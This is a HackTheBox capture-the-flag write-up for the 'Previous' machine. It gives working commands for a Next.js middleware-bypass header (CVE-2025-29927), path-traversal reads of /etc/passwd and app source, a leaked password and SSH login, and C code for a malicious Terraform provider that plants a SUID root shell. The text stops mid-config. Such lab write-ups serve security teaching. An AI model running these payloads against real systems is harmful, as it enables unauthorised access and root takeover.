Post

Previous

Writeup for HackTheBox Previous machine

Previous

Executive Summary

Previous is a medium-difficulty Linux machine on HackTheBox that centers on Next.js middleware security bypasses, web application source disclosures, and the exploitation of development overrides in automation platforms. The initial foothold exploits a Next.js middleware bypass vulnerability (CVE-2025-29927) where spoofing the X-Middleware-Subrequest header allows an attacker to bypass routing middleware and gain direct access to restricted backend endpoints (like /api/download). Parameter fuzzing reveals an active example parameter that is vulnerable to Local File Inclusion (LFI). Leveraging LFI, the attacker extracts system configurations and retrieves the NextAuth configuration script ([...nextauth].js), revealing hardcoded credentials for the user jeremy (MyNameIsJeremyAndILovePancakes). Authenticating via SSH as jeremy gains user access. Privilege escalation takes advantage of a custom sudo rule allowing the execution of /usr/bin/terraform as root without resetting user environment variables (!env_reset). By modifying the user’s ~/.terraformrc to implement provider development overrides (dev_overrides), the root-executed Terraform CLI is forced to load a custom C-compiled malicious provider from /tmp. When executed, this provider spawns a SUID bash shell, granting root access.

Reconnaissance

We begin by conducting an active port scan of the target host using Nmap:

1
nmap -sC -sV -vv 10.10.11.83

The scan identifies two open ports: 22/tcp (SSH) and 80/tcp (HTTP). The HTTP service likely hosts a Next.js application with virtual host routing.

To resolve the virtual host, we update the local /etc/hosts mapping:

1
sudo sh -c 'echo "10.10.11.83 previous.htb" >> /etc/hosts'

Now we have a web server running on port 80: http://previous.htb/

Error loading image

Clicking the “Get Started” link redirects the browser to a standard sign-in prompt: http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs

Error loading image

To find hidden directories or endpoints, we perform a directory enumeration scan using dirsearch:

1
PYTHONWARNINGS="ignore" dirsearch -u http://previous.htb/   -x 400,403,404 -t 50 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
┌──(kali㉿kali)-[~/HTB]
└─$ PYTHONWARNINGS="ignore" dirsearch -u http://previous.htb/   -x 400,403,404 -t 50 

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                 
 (_||| _) (/_(_|| (_| )                                                                                                                          
                                                                                                                                                  
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460

Output File: /home/kali/HTB/reports/http_previous.htb/__25-09-21_06-03-42.txt

Target: http://previous.htb/

[06:03:42] Starting:                                                                                                                             
[06:04:28] 307 -   39B  - /api-doc  ->  /api/auth/signin?callbackUrl=%2Fapi-doc
[06:04:28] 307 -   35B  - /api  ->  /api/auth/signin?callbackUrl=%2Fapi
[06:04:28] 307 -   40B  - /api-docs  ->  /api/auth/signin?callbackUrl=%2Fapi-docs
[06:04:28] 307 -   39B  - /api.php  ->  /api/auth/signin?callbackUrl=%2Fapi.php
[06:04:28] 307 -   38B  - /api.py  ->  /api/auth/signin?callbackUrl=%2Fapi.py
[06:04:28] 307 -   39B  - /api.log  ->  /api/auth/signin?callbackUrl=%2Fapi.log
[06:04:29] 307 -   60B  - /api/2/issue/createmeta  ->  /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta
[06:04:29] 307 -   41B  - /api/api  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapi
[06:04:29] 307 -   54B  - /api/application.wadl  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl
[06:04:29] 307 -   60B  - /api/apidocs/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json
[06:04:29] 307 -   45B  - /api/apidocs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs
[06:04:29] 307 -   46B  - /api/api-docs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs
[06:04:29] 307 -   43B  - /api/batch  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fbatch
[06:04:29] 307 -   52B  - /api/cask/graphql  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fcask%2Fgraphql
[06:04:29] 307 -   44B  - /api/config  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fconfig
[06:04:29] 307 -   42B  - /api/docs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fdocs
[06:04:29] 307 -   48B  - /api/index.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Findex.html
[06:04:29] 307 -   47B  - /api/error_log  ->  /api/auth/signin?callbackUrl=%2Fapi%2Ferror_log
[06:04:29] 307 -   44B  - /api/jsonws  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws
[06:04:29] 307 -   53B  - /api/jsonws/invoke  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws%2Finvoke
[06:04:29] 307 -   48B  - /api/login.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Flogin.json
[06:04:29] 307 -   73B  - /api/package_search/v4/documentation  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
[06:04:29] 307 -   45B  - /api/profile  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fprofile
[06:04:29] 307 -   57B  - /api/spec/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fspec%2Fswagger.json
[06:04:29] 307 -   43B  - /api/proxy  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fproxy
[06:04:29] 307 -   47B  - /api/snapshots  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fsnapshots
[06:04:29] 307 -   45B  - /api/swagger  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger
[06:04:29] 307 -   53B  - /api/swagger-ui.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger-ui.html
[06:04:29] 307 -   50B  - /api/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.json
[06:04:29] 307 -   50B  - /api/swagger.yaml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yaml
[06:04:29] 307 -   49B  - /api/swagger.yml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yml
[06:04:29] 307 -   67B  - /api/swagger/static/index.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fstatic%2Findex.html
[06:04:29] 307 -   55B  - /api/swagger/swagger  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fswagger
[06:04:29] 307 -   40B  - /api/v1  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv1
[06:04:29] 307 -   58B  - /api/swagger/index.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Findex.html
[06:04:29] 307 -   52B  - /api/timelion/run  ->  /api/auth/signin?callbackUrl=%2Fapi%2Ftimelion%2Frun
[06:04:29] 307 -   58B  - /api/swagger/ui/index  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fui%2Findex
[06:04:29] 307 -   55B  - /api/v1/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.json
86: [06:04:29] 307 -   55B  - /api/v1/swagger.yaml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.yaml
87: [06:04:29] 307 -   40B  - /api/v2  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2
88: [06:04:29] 307 -   62B  - /api/v2/helpdesk/discover  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
89: [06:04:29] 307 -   55B  - /api/v2/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.json
90: [06:04:29] 307 -   55B  - /api/v2/swagger.yaml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.yaml
91: [06:04:29] 307 -   40B  - /api/v3  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv3
92: [06:04:29] 307 -   74B  - /api/vendor/phpunit/phpunit/phpunit  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
93: [06:04:29] 307 -   40B  - /api/v4  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv4
94: [06:04:29] 307 -   45B  - /api/version  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fversion
95: [06:04:29] 307 -   44B  - /api/whoami  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fwhoami
96: [06:04:29] 307 -   44B  - /apibuild.pyc  ->  /api/auth/signin?callbackUrl=%2Fapibuild.pyc
97: [06:04:29] 307 -   39B  - /apidocs  ->  /api/auth/signin?callbackUrl=%2Fapidocs
98: [06:04:29] 307 -   57B  - /apiserver-aggregator.cert  ->  /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.cert
99: [06:04:29] 307 -   38B  - /apidoc  ->  /api/auth/signin?callbackUrl=%2Fapidoc
100: [06:04:29] 307 -   52B  - /apiserver-client.crt  ->  /api/auth/signin?callbackUrl=%2Fapiserver-client.crt
101: [06:04:29] 307 -   56B  - /apiserver-aggregator.key  ->  /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.key
102: [06:04:29] 307 -   36B  - /apis  ->  /api/auth/signin?callbackUrl=%2Fapis
103: [06:04:29] 307 -   60B  - /apiserver-aggregator-ca.cert  ->  /api/auth/signin?callbackUrl=%2Fapiserver-aggregator-ca.cert
104: [06:04:29] 307 -   49B  - /apiserver-key.pem  ->  /api/auth/signin?callbackUrl=%2Fapiserver-key.pem
105: [06:04:31] 308 -   19B  - /axis//happyaxis.jsp  ->  /axis/happyaxis.jsp     
106: [06:04:31] 308 -   24B  - /axis2-web//HappyAxis.jsp  ->  /axis2-web/HappyAxis.jsp
107: [06:04:31] 308 -   30B  - /axis2//axis2-web/HappyAxis.jsp  ->  /axis2/axis2-web/HappyAxis.jsp
108: [06:04:36] 308 -   52B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  /Citrix/AccessPlatform/auth/clientscripts/cookies.js
109: [06:04:43] 307 -   36B  - /docs  ->  /api/auth/signin?callbackUrl=%2Fdocs   
110: [06:04:43] 307 -   41B  - /docs.json  ->  /api/auth/signin?callbackUrl=%2Fdocs.json
111: [06:04:43] 307 -   52B  - /docs/changelog.txt  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fchangelog.txt
112: [06:04:43] 307 -   53B  - /docs/CHANGELOG.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2FCHANGELOG.html
113: [06:04:43] 307 -   63B  - /docs/html/admin/ch01.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
114: [06:04:43] 307 -   54B  - /docs/export-demo.xml  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fexport-demo.xml
115: [06:04:43] 307 -   66B  - /docs/html/admin/ch01s04.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
116: [06:04:43] 307 -   66B  - /docs/html/admin/ch03s07.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
117: [06:04:43] 307 -   64B  - /docs/html/admin/index.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Findex.html
118: [06:04:43] 307 -   67B  - /docs/html/developer/ch02.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
119: [06:04:43] 307 -   56B  - /docs/html/index.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Findex.html
120: [06:04:43] 307 -   70B  - /docs/html/developer/ch03s15.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
121: [06:04:43] 307 -   54B  - /docs/maintenance.txt  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fmaintenance.txt
122: [06:04:43] 307 -   51B  - /docs/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fswagger.json
123: [06:04:43] 307 -   51B  - /docs/updating.txt  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fupdating.txt
124: [06:04:43] 307 -   38B  - /docs51  ->  /api/auth/signin?callbackUrl=%2Fdocs51
125: [06:04:45] 308 -   39B  - /engine/classes/swfupload//swfupload.swf  ->  /engine/classes/swfupload/swfupload.swf
126: [06:04:45] 308 -   42B  - /engine/classes/swfupload//swfupload_f9.swf  ->  /engine/classes/swfupload/swfupload_f9.swf
127: [06:04:46] 308 -   27B  - /extjs/resources//charts.swf  ->  /extjs/resources/charts.swf
128: [06:04:52] 308 -   37B  - /html/js/misc/swfupload//swfupload.swf  ->  /html/js/misc/swfupload/swfupload.swf
130: [06:05:24] 200 -    3KB - /signin                                           
                                                                             
Task Completed            

We evaluate the technology stack using whatweb and curl -I:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HTB]
└─$ whatweb http://previous.htb/
http://previous.htb/ [200 OK] Country[RESERVED][ZZ], Email[jeremy@previous.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.83], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]
                                                                                                                                                 
┌──(kali㉿kali)-[~/HTB]
└─$ curl -I http://previous.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 21 Sep 2025 10:08:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5493
Connection: keep-alive
X-Powered-By: Next.js
ETag: "17m2fyh3hl048k"
Vary: Accept-Encoding

The application is built on Next.js. Next.js is vulnerable to a critical middleware bypass vulnerability tracked under CVE-2025-29927.

We attempt to bypass the authentication middleware by injecting the spoofed X-Middleware-Subrequest header during directory enumeration against the /api/ routing structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/HTB]
└─$ PYTHONWARNINGS="ignore" dirsearch -u http://previous.htb/api/  -H 'X-Middleware-Subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' -x 308  -t 50

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                 
 (_||| _) (/_(_|| (_| )                                                                                                                          
                                                                                                                                                  
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460

Output File: /home/kali/HTB/reports/http_previous.htb/_api__25-09-21_07-06-54.txt

Target: http://previous.htb/

[07:06:54] Starting: api/                                                                                                                        
[07:07:42] 400 -   64B  - /api/auth/adm                                     
[07:07:42] 400 -   64B  - /api/auth/admin
[07:07:42] 400 -   64B  - /api/auth/login
[07:07:42] 400 -   64B  - /api/auth/login.php
[07:07:42] 400 -   64B  - /api/auth/login.aspx
[07:07:42] 400 -   64B  - /api/auth/login.jsp
[07:07:42] 400 -   64B  - /api/auth/login.html
[07:07:42] 400 -   64B  - /api/auth/login.js
[07:07:42] 400 -   64B  - /api/auth/logon
[07:07:42] 302 -    0B  - /api/auth/signin  ->  /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000
[07:07:56] 400 -   28B  - /api/download                                     
                                                                             
Task Completed                                                                                                                                   

The scan successfully identifies the restricted /api/download endpoint (returning status 400 with a content size of 28 bytes).

Error loading image

We reference a public parameters wordlist from: GitHub MaverickNerd Params List

To identify the parameters accepted by /api/download, we conduct parameter fuzzing with ffuf, injecting the middleware bypass header and filtering out standard 400 responses:

1
2
3
4
5
6
ffuf -w /home/kali/HTB/params.txt \
     -u "http://previous.htb/api/download?FUZZ=file.txt" \
     -H "Host: previous.htb" \
     -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware" \
     -mc all -fc 400 -fs 28 \
     -o ffuf_params_results.json -of json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~/HTB]
└─$ ffuf -w /home/kali/HTB/params.txt \
     -u "http://previous.htb/api/download?FUZZ=file.txt" \
     -H "Host: previous.htb" \
     -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware" \
     -mc all -fc 400 -fs 28 \
     -o ffuf_params_results.json -of json


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?FUZZ=file.txt
 :: Wordlist         : FUZZ: /home/kali/HTB/params.txt
 :: Header           : Host: previous.htb
 :: Header           : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 :: Output file      : ffuf_params_results.json
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 400
 :: Filter           : Response size: 28
________________________________________________

example                 [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 429ms]
:: Progress: [27652/27652] :: Job [1/1] :: 91 req/sec :: Duration: [0:05:30] :: Errors: 0 ::
                               

The parameter example is confirmed valid (returning a 404 status code indicating the file was not found).

Error loading image

We attempt Local File Inclusion (LFI) payload injection against this parameter:

Error loading image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: previous.htb' -H $'X-Middleware-Subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' \                               
    $'http://previous.htb/api/download?example=../../../../etc/passwd'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 24 Sep 2025 16:58:32 GMT
Content-Type: application/zip
Content-Length: 787
Connection: keep-alive
Content-Disposition: attachment; filename="passwd"
ETag: "41amqg1v4m26j"

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

The system returns the contents of /etc/passwd. The output reveals the local accounts: node and nextjs.

Error loading image

We scan for the presence of the Next.js production output directory /.next:

Error loading image

We dump the Next.js routing manifest to analyze active paths:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 21 Sep 2025 17:04:32 GMT
Content-Type: application/zip
Content-Length: 2548
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/routes-manifest.json
ETag: "9g13nceds96qd"

{
  "version": 3,
  "pages404": true,
  "caseSensitive": false,
  "basePath": "",
  "redirects": [
    {
      "source": "/:path+/",
      "destination": "/:path+",
      "internal": true,
      "statusCode": 308,
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
    }
  ],
  "headers": [],
  "dynamicRoutes": [
    {
      "page": "/api/auth/[...nextauth]",
      "regex": "^/api/auth/(.+?)(?:/)?$",
      "routeKeys": {
        "nxtPnextauth": "nxtPnextauth"
      },
      "namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
    },
    {
      "page": "/docs/[section]",
      "regex": "^/docs/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPsection": "nxtPsection"
      },
      "namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
    }
  ],
  "staticRoutes": [
    {
      "page": "/",
      "regex": "^/(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/(?:/)?$"
    },
    {
      "page": "/docs",
      "regex": "^/docs(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs(?:/)?$"
    },
    {
      "page": "/docs/components/layout",
      "regex": "^/docs/components/layout(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/components/layout(?:/)?$"
    },
    {
      "page": "/docs/components/sidebar",
      "regex": "^/docs/components/sidebar(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/components/sidebar(?:/)?$"
    },
    {
      "page": "/docs/content/examples",
      "regex": "^/docs/content/examples(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/content/examples(?:/)?$"
    },
    {
      "page": "/docs/content/getting-started",
      "regex": "^/docs/content/getting\\-started(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/content/getting\\-started(?:/)?$"
    },
    {
      "page": "/signin",
      "regex": "^/signin(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/signin(?:/)?$"
    }
  ],
  "dataRoutes": [],
  "rsc": {
    "header": "RSC",
    "varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
    "prefetchHeader": "Next-Router-Prefetch",
    "didPostponeHeader": "x-nextjs-postponed",
    "contentTypeHeader": "text/x-component",
    "suffix": ".rsc",
    "prefetchSuffix": ".prefetch.rsc",
    "prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
    "prefetchSegmentSuffix": ".segment.rsc",
    "prefetchSegmentDirSuffix": ".segments"
  },
  "rewriteHeaders": {
    "pathHeader": "x-nextjs-rewritten-path",
    "queryHeader": "x-nextjs-rewritten-query"
  },
  "rewrites": []
}

To extract sensitive authentication data, we use the LFI vulnerability to read the compiled auth API handler located at /api/auth/[...nextauth].js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: previous.htb' -H $'X-Middleware-Subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' \
    $'http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 24 Sep 2025 17:19:26 GMT
Content-Type: application/zip
Content-Length: 1537
Connection: keep-alive
Content-Disposition: attachment; filename="[...nextauth].js"
ETag: "ihx6eiwskd47b"

"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();   

The script exposes the hardcoded fallback credentials within the authentication handler: username: jeremy and password: MyNameIsJeremyAndILovePancakes.

We authenticate via SSH to the target host:

1
2
ssh jeremy@previous.htb
>password:MyNameIsJeremyAndILovePancakes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ ssh jeremy@previous.htb
The authenticity of host 'previous.htb (10.10.11.83)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:7: [hashed name]
    ~/.ssh/known_hosts:18: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'previous.htb' (ED25519) to the list of known hosts.
jeremy@previous.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Sep 24 05:20:28 PM UTC 2025

  System load:  0.0               Processes:             217
  Usage of /:   80.0% of 8.76GB   Users logged in:       0
  Memory usage: 11%               IPv4 address for eth0: 10.10.11.83
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Sep 24 17:20:29 2025 from 10.10.14.146
jeremy@previous:~$ ls
dev.tfrc  docker  pop  user.txt
jeremy@previous:~$ cat user.txt 
b8d9c7cf088df7ab1d272fff8f55a19a

Privilege Escalation

We audit sudo permissions allowed for the user jeremy:

1
2
3
4
5
6
7
8
jeremy@previous:~$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

The user is permitted to execute sudo /usr/bin/terraform -chdir=/opt/examples apply. The configuration has the !env_reset default flag enabled, meaning user environment variables (like HOME) are preserved during the execution of the sudo command.

  1. Verify Terraform environment configuration

We confirm the path to the Terraform binary and test write access to the user configuration file ~/.terraformrc:

1
2
3
/usr/bin/terraform version
test -w ~/.terraformrc && echo "ok: ~/.terraformrc writable"
echo "HOME=$HOME"
  1. Develop a malicious custom provider

Since the Terraform run reads the current user’s HOME path config, we can define a dev_overrides mapping inside ~/.terraformrc. When Terraform loads the provider configurations, it will look at /tmp for the provider file rather than contacting official registries.

We write a payload script in C that creates a SUID shell in /tmp and executes immediately when the provider process is instantiated by Terraform:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat > /tmp/terraform-provider-examples.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    /* print a line so terraform can read at least one stdout line */
    printf("terraform-provider-examples: started\n");
    fflush(stdout);

    /* do the root action immediately (create suid bash) */
    system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");

    /* keep alive for a few seconds so terraform has time to read/communicate */
    sleep(6);
    return 0;
}
EOF

Compile and make the provider executable:

1
2
3
gcc /tmp/terraform-provider-examples.c -o /tmp/terraform-provider-examples
chmod +x /tmp/terraform-provider-examples
ls -l /tmp/terraform-provider-examples
  1. Configure dev_overrides inside .terraformrc

We configure the override mapping to point the custom provider used in /opt/examples/main.tf to the /tmp binary folder:

1
2
3
4
5
6
7
8
9
cat > ~/.terraformrc <<'EOF'
provider_installation {
  dev_overrides {
